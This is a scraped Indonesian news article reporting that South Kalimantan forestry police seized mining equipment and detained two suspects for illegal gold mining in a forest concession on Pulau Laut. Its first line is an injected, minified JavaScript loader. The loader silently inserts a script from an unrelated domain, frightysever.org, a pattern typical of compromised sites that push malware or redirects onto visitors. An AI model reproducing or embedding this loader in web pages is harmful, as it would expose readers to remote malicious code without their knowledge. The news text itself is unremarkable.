(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Tim gabungan pengaman hutan Dishut (Dinas Kehutanan) Kalimantan Selatan terdiri atas Polhut Dishut, Tenaga Kontrak Pengamanan Hutan (TKPH), Personil Polhut serta ditambah dari Aparatur Sipil Negara dan Bakti Rimbawan dari 3 KPH (Kesatuan Pengelolaan Hutan) yakni KPH Pulau Laut Sebuku, KPH Kusan dan KPH Cantung berhasil menyita dan mengamankan beberapa bukti serta 2 orang tersangka kegiatan penambangan emas illegal, di dalam areal kawasan hutan produksi dan areal konsesi IUPHHK-HA (Izin Usaha Pemanfaatan Hasil Hutan Kayu-Hutan Alam) PT Inhutani II Pulau Laut, Desa Batu Tunau Kecamatan Pulau Laut Timur, Kabupaten Kotabaru, yang berada di wilayah kerja KPH Pulau Laut Sebuku, Kamis (12/4).
Penertiban tambang emas illegal ini berdasar pada hasil intelegensi Polhut KPH Pulau Laut Sebuku dan TKPH Dishut Kalsel. Selanjutnya, tim bergerak dan menemukan 2 kelompok yag melakukan penambangan emas secara illegal di dalam kawasan hutan.
Dari kegiatan tersebut, tim gabungan berhasil menyita beberapa barang bukti dam menahan 2 orang tersangka dari 2 kelompok yang melakukan penambangan emas tanpa ijin di dalam Areal Kawasan Hutan Produksi dan juga berada di dalam Areal konsesi IUPHHK-HA PT Inhutani II Pulau Laut.
Beberapa barang bukti yang berhasil disita tim gabungan, terdiri atas 1 unit mesin Domfeng Amec 1110 berbahan bakar solar, 4 buah panbel jenis Mitsubishi, 1 buah selang penghisap ukuran 20 inch, 1 dan 1 buah selang penyalur ukuran 5 inch, 1 parang, 1 linggis dan 1 buah linggangan atau pengayak.
Peralatan lain yang tidak dapat diangkut petugas, langsung dimusnahkan tim ditempat, dengan maksud para penambang illegal tidak dapat mengulangi kembali kegiatan pertambangan di dalam areal kawasan hutan produksi tanpa ijin, sesuai peraturan perundangan yang berlaku yakni UU No.18 Tahun 2013 tentang Pencegahan dan Pemberantasan Pengerusakan Hutan.
Saat dikonfirmasi, Kepala Seksi Pengendalian Kerusakan dan Pengamanan Hutan, Pantja Satata menyampaikan, kedua orang tersangka masih dalam tahap pemeriksaan. Menurutnya, pihaknya akan terus melakukan giat pengamanan dari segala hal yang berpotensi mengganggu keamanan kawasan hutan di Kalsel.
“Kita akan tingkatkan giat pengamanan hutan baik untuk illegal logging mau pun kegiatan tambang emas illegal, demi terciptanya kelestarian hutan di Kalsel,†pungkasnya. (abdullah)
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.